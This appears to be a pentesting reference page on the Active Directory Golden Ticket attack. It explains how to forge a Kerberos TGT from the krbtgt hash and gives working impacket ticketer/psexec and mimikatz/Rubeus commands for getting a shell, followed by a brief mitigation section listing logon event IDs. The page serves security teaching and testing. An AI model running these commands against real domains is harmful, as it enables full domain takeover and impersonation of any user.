Pentesting

Golden Ticket

Golden ticket

A valid TGT as any user can be created using the NTLM hash of the krbtgt AD account. The advantage of forging a TGT instead of TGS is being able to access any service (or machine) in the domain and the impersonated user.

The krbtgt account NTLM hash can be obtained from the lsass process or from the NTDS.dit file of any DC in the domain. It is also possible to get that NTLM through a DCsync attack, which can be performed either with the lsadump::dcsync module of Mimikatz or the impacket example secretsdump.py. Usually, domain admin privileges or similar are required, no matter what technique is used.

From Linux
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/[email protected] -k -no-pass
From Windows
mimikatz # kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

Once you have the golden Ticket injected, you can access the shared files (C$), and execute services and WMI, so you could use psexec or wmiexec to obtain a shell (looks like yo can not get a shell via winrm).

Mitigation

Golden ticket events ID:

  • 4624: Account Logon

  • 4672: Admin Logon

  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property

More information about Golden Ticket in ired.team.